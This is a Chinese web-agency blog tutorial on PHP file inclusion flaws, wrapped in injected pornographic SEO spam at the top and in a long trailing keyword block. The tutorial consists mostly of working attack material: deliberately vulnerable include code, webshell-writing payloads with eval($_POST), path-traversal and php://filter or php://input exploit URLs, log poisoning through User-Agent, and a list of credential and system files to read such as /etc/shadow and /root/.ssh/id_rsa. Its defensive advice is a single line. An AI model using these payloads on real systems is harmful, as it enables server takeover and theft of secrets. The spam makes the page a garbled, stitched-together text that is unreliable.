精品国产免费观看久久久_久久天天躁狠狠躁夜夜爽_无码人妻少妇久久中文字幕_狠狠做深爱婷婷久久综合一区

互聯網知識

精準傳達 ? 價值共享

洞悉互聯網前沿資訊,探尋網站營銷規律

查看其它板塊

文件包含漏洞

作者:狐靈科技 | 2021-12-06 22:33 |點擊:

文件包含

 


	
程序開發人員一般會把重復使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件, 而無需再次編寫,這中文件調用的過程一般被稱為文件包含。 程序開發人員一般希望代碼更靈活,所以將被包含的文件設置為變量,用來進行動態調用, 但正是由于這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。 幾乎所有腳本語言都會提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多, 而在JSPASPASP.NET程序中卻非常少,甚至沒有,這是有些語言設計的弊端。 在PHP中經常出現包含漏洞,但這并不意味這其他語言不存在。
 
 

1|0常見文件包含函數

 


	
include():執行到include時才包含文件,找不到被包含文件時只會產生警告,腳本將繼續執行 require():只要程序一運行就包含文件,找不到被包含的文件時會產生致命錯誤,并停止腳本 include_once()和require_once():若文件中代碼已被包含則不會再次包含
 
 

 

2|0利用條件


	
* 程序用include()等文件包含函數通過動態變量的范式引入需要包含的文件 * 用戶能夠控制該動態變量 注:PHP中只要文件內容符合PHP語法規范,包含時不管擴展名是什么都會被PHP解析, 若文件內容不符合PHP語法規范則會暴漏其源碼。

3|0漏洞危害


	
執行任意代碼 包含惡意文件控制網站 甚至控制服務器

4|0漏洞分類


	
本地文件包含: 可以包含本地文件,在條件允許時甚至能執行代碼 上傳圖片馬,然后包含 讀敏感文件,讀PHP文件 包含日志文件GetShell 包含/proc/self/envion文件GetShell 包含data:或php://input等偽協議 若有phpinfo則可以包含臨時文件 遠程文件包含: 可以直接執行任意代碼 要保證php.ini中allow_url_fopen和allow_url_include要為On * 白盒就代碼審計 * 至于黑盒的話找cms或者上AWVS吧,騷年...
 
 

5|0本地包含

  • 示例一

	
<?php if(@$_GET['page']) { include($_GET['page']); } else { include "show.php"; } ?>

 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

  • 示例二

	
<?php if (@$_GET['page']) { include("./action/".$_GET['page']); } else { include "./action/show.php"; } ?>

 

 

  • %00截斷包含(PHP<5.3.4)

		
<?php if (@$_GET['page']) { include "./action/".$_GET['page'].".php"; echo "./action/".$_GET['page'].".php"; } else { include "./action/show.php"; } ?>

 

 

還有一個路徑長度截斷,
Linux可以用./或/截斷,需要文件名長度大于4096,
Windows可以用\.或./或\或/截斷,需要大于256,
是否能成功截斷有多方面原因,可以說是靠運氣的

  • 示例四
上傳圖片馬,馬包含的代碼為

		
<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>
 
 
上傳后圖片路徑為 /uploadfile/201643.jpg
這時候需要利用文件解析漏洞,當訪問

		
http://localhost/dvwa/vulnerabilities/fi/?page=../../uploadfile/201643.jpg/.php
 
 
將會在fi這個文件夾下生成shell.php,內容為<?php eval($_POST[xxser]);?>
  • 讀敏感文件

			
可讀如下敏感文件: WindowsC:\boot.ini //查看系統版本 C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件 C:\Windows\repair\sam //存儲系統初次安裝的密碼 C:\Program Files\mysql\my.ini //Mysql配置 C:\Program Files\mysql\data\mysql\user.MYD //Mysql root C:\Windows\php.ini //php配置信息 C:\Windows\my.ini //Mysql配置信息 ... Linux: /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_ras.keystore /root/.ssh/known_hosts /etc/passwd /etc/shadow /etc/my.cnf /etc/httpd/conf/httpd.conf /root/.bash_history /root/.mysql_history /proc/self/fd/fd[0-9]*(文件標識符) /proc/mounts /porc/config.gz
 
 
  • 讀PHP文件

		
直接包含php文件時會被解析,不能看到源碼,可以用封裝協議讀取: ?page=php://filter/read=convert.base64-encode/resource=config.php 訪問上述URL后會返回config.php中經過Base64加密后的字符串,解密即可得到源碼
  • 包含日志(主要是得到日志的路徑)

		
讀日志路徑: 文件包含漏洞讀取apache配置文件 index.php?page=/etc/init.d/httpd index.php?page=/etc/httpd/conf/httpd.conf 默認位置/var/log/httpd/access_log 日志會記錄客戶端請求及服務器響應的信息,訪問 http://www.xx.com/<?php phpinfo(); ?> 時,<?php phpinfo(); ?>也會被記錄在日志里,也可以插入到User-Agent
 
 

 

 

 
可以通過Burp Suite來繞過編碼

 

 
 
日志內容如下:
 
 
  • 包含環境變量文件GetShell

	
需要PHP運行在CGI模式 然后和包含日志一樣,在User-Agent修改為payload
 
 
  • 使用PHP封裝協議

	
allow_url_include=On時, 若執行http://www.xxx.com/index.php?page=php://input, 并且提交數據 <?php fputs(fopen("shell.php","w"),"<?php eval($_POST['xxxser']);?>") ?> 結果將在index.php所在文件下生成一句話文件shell.php
 

 

 
  • phpinfo包含臨時文件

		
向phpinfo上傳文件則可以返回文件路徑,但是文件存在時間很短, 可以用程序持續上傳,然后就可以包含你上傳的文件了

6|0遠程包含

注:遠程的文件名不能為php可解析的擴展名,allow_url_fopen和allow_url_include為On是必須的
若在a.txt寫入 <?php fputs(fopen("shell.php","w"),"<?php @eval($_POST[xxx]); ?>") ?>,可直接寫shell

7|0漏洞防御

 


	
PHP中使用open_basedir配置,將訪問限制在指定區域 過濾./\ 禁止服務器遠程文件包含

 

如沒特殊注明,文章均為狐靈科技原創,轉載請注明?? "文件包含漏洞
多一份免費策劃方案,總有益處。

請直接添加技術總監微信聯系咨詢

網站設計 品牌營銷

多一份參考,總有益處

聯系狐靈科技,免費獲得專屬《策劃方案》及報價

咨詢相關問題或預約面談,可以通過以下方式與我們聯系

業務熱線:15082661954 / 大客戶專線:15523356218

久久久久成人片免费观看R| 欧美日韩精品久久久免费观看| 中国BGMBGMBGM老妇和青年交| 人人妻人人澡人人爽人人精品97| 好爽又高潮了毛片免费下载| VODAFONEWIFI另类| 亚洲日韩乱码中文无码蜜桃臀| 日本高清WWW色视频| 久久九九兔免费精品6| 高潮喷视频在线无码| 永久免费AV无码网站在线| 天堂А√在线地址中文在线| 免费 成 人 黄 色 网站69| 国产精品国产三级国产AV主播| 中文字幕亚洲欧美日韩在线不卡| 午夜DJ影院免费直播观看完整版| 欧美日韩国产精品自在自线| 精品无码人妻一区二区三区品| 二级毛片免费视频播放| 12孩岁女A处破娇小| 亚洲国产精品久久久久4婷婷| 少妇人妻一级AV片| 女人张开腿让男人桶爽的| 精精国产XXXX视频在线播放| 国产AV成人一区二区三区高清| 0D0D肥胖老太婆| 亚洲精品中文字幕无码蜜桃| 我和大佬的365天| 人人人爽人人澡人人高潮| 蜜臀AⅤ免费网站| 精品无码人妻少妇久久久久久| 国产精品VA在线观看无码不卡| 办公室少妇愉情理伦片| 中国老太太BBVBBⅤ| 亚洲欧美日韩中文二区| 小浪货水多奶大被领导| 熟妇高潮一区二区在线播放| 人人人人人人一摸| 欧美黑人巨大最猛性XXXXX| 浪荡受NP纯肉公共场合BL男男 | 久久亚洲精品成人无码网站| 国产男男GaYGaY无套| 粉嫩AV一二三区免费| А√天堂中文在线| 696969大但人文艺术主题| 亚洲熟妇V一区二区三区色堂| 无码无遮挡又大又爽又黄的视频| 日韩加勒比一本无码精品| 欧美日韩精品视频一区二区 | 免费无遮挡禁18污污网站| 久久国产精品成人影院| 黑料吃瓜网998.SU永久有效| 国产乱人伦AV在线无码| 国产69精品久久久久9999A| 成年女人毛片免费视频喷潮| JIZZJIZZJIZZ亚洲熟| 99国精产品W灬源码1688| 中文字幕久久综合伊人| 泳池里强摁做开腿呻吟| 亚洲中文字幕无码AV永久| 亚洲精品无码不卡在线播放| 亚洲AV永久无码精品无码四虎| 无码人妻一区二区三区免费看| 少妇被躁爽到呻吟全过的小说| 日本人妻JAPANESEXXX| 欧美一区二区三放荡人妇| 欧美军警GAY巨大粗长| 欧美AⅤ精品一区二区三区| 内射无码专区久久亚洲| 嫩BBB槡BBBB搡BBBB| 女儿国免费观看完整版在线| 男j插女p无遮挡100%| 欧美VA亚洲VA日韩VA| 女教师の爆乳BD在线观看| 男生把小j放进女人屁股视频狂躁 男生把手放进我内裤揉摸好爽 | 免费观看大片的APP视频| 浪潮AV一区二区三区| 满18岁夜里禁用100款APP| 蜜臀av一区二区三区人妻| 内地CHINA高潮VIDEO| 欧美日韩精品一区二区在线播放 | 欧美黑人aAAAAAAa| 欧美丰满熟妇性XXXX偷拍偷拍| 欧美军警GAY巨大粗长| 人妻无码少妇一区二区| 入禽太深视频免费视频| 铜铜铜铜铜铜铜好多疼| 亚洲AV乱码一区二区三区按摩| 亚洲国产精品无码久久一线| 亚洲午夜无码久久久久| 又爽又刺激免费男女视频| 97日日碰人人模人人澡| 被客人玩得站不起来大前端 | 麻豆文化传媒精品一区观看| 免费十大软件大全下载安装| 欧美精产国品一二三区别| 日产无人区一线二线三线新版| 私人家庭影院5577| 亚洲 欧洲 日韩 综合 第一页| 亚洲国产婷婷综合在线精品| 一区二区三区欧美| 18禁强伦姧人妻又大又| 边做饭边被躁BD苍井空小说| 国产99久9在线 | 传媒| 好儿子你插得太深了| 久久久久久国产精品无码超碰| 女性の乳頭を凸起しています| 日本人妻熟妇丰满成熟HD系列| 我的大胸继拇在线观看| 亚洲国产成人VA在线观看| 在线观看无码AV网址| 菠萝菠萝蜜免费播放视频| 国产精品无码综合区| 精品成品国色天香卡一卡三 | 小说蜜汁樱桃林妙妙的结局| 亚洲日韩一区二区三区| JAPANESEⅩⅩⅩHD中文| 国产高清中文版HD中字| 精品人无码一区二区三区| 男男高H啊灌满了高潮视频| 日韩人妻无码精品系列| 亚洲AV成人无码精品| 在线亚洲熟妇一区二区三| 被强迫的爱人 电影| 国产免费看MV大片的软件| 久久变态刺激另类SM按摩| 欧美最猛黑人xxxx黑人猛交| 玩护士睡老师勾搭女下属| 亚洲熟妇无码一区二区三区| AV无码中文一区二区三区四区| 国产爆乳成人AV在线播放| 久久AV无码AⅤ高潮AV喷吹| 强壮公的侵犯让我高潮不断| 午夜亚洲WWW湿好爽| 中文字幕日韩精品有码视频| 公交车后车座的疯狂的做| 久久99精品久久久久久国产| 人妻系列无码专区无码专区| 午夜福利理论片在线观看| 中国少妇的BBWWBBWW| 国产大学生酒店在线播放| 巨胸爆乳美女露双奶头挤奶| 三上悠亚SSNL-618无码播| 亚洲午夜性春猛交77777| 成熟老太毛茸茸BBWBBW| 精品人人妻人人爽D∨D| 日本熟妇人妻XXXXX人电影| 亚洲精品国自产拍在线观看 | 成人性生交大片免费看| 精品国产AⅤ一区天美传媒 | 久久精品夜色国产亚洲AV| 人体内射精一区二区三区| 亚洲高清乱码午夜电影网| AV无码人妻精品丰满熟妇区| 国产呻吟久久久久久久92| 妺妺窝人体色WWW在线小说| 五月天国产亚洲AV麻豆| 97色偷偷色噜噜男人的天堂| 国产三级无码内射在线看| 欧美日韩一区二区三区在线观看视| 亚洲AV成人片无码色欲AV自慰| JAPANESE熟女熟妇| 精品国产AⅤ无码一区二区 | 免费AV片大尺度在线观看| 无人区码一码二码三码是什么意思| 97电影九七电影理论片| 黑人巨大xxxx| 色翁荡息又大又硬又粗又爽 | 91夜色精品偷窥熟女精品网站| 国产一区二区精品久久| 人妻妺妺窝人体色777777| 亚洲区小说区图片区QVOD| 丰满少妇又爽又紧又丰满在线观看| 久久久久亚洲AV成人片一区| 无码人妻丰满熟妇啪啪| BGMBGMBGM老太太交70| 精品无码久久久久久久久| 特级欧美ZOOXX| H无码动漫在线观看人| 久久久久成人片免费观看| 小货SAO边洗澡边CAO你动漫| 唱歌的大姐姐也想做| 蜜臀精品无码AV在线播放 | 无码中文字幕人妻在线一区二区三| 99国产精品永久免费视频| 精品人妻少妇嫩草AV无码专区| 色欲AV自慰一区二区三区| 337P日本欧洲亚洲大胆| 精品国产乱码久久久久久蜜桃 | 97色偷偷色噜噜男人的天堂 | 极品人妻系列少妇系列| 色猫咪AV在线网址| ASIAN日本裸体PICS| 久久久久久久久精品成人| 西欧FREE性满足HD| 俄罗斯性孕妇孕交| 人妻无码精品久久亚瑟影视| 18款禁用免费安装的软件APP| 久久精品成人欧美大片| 亚洲AV无码兔费综合在线观看|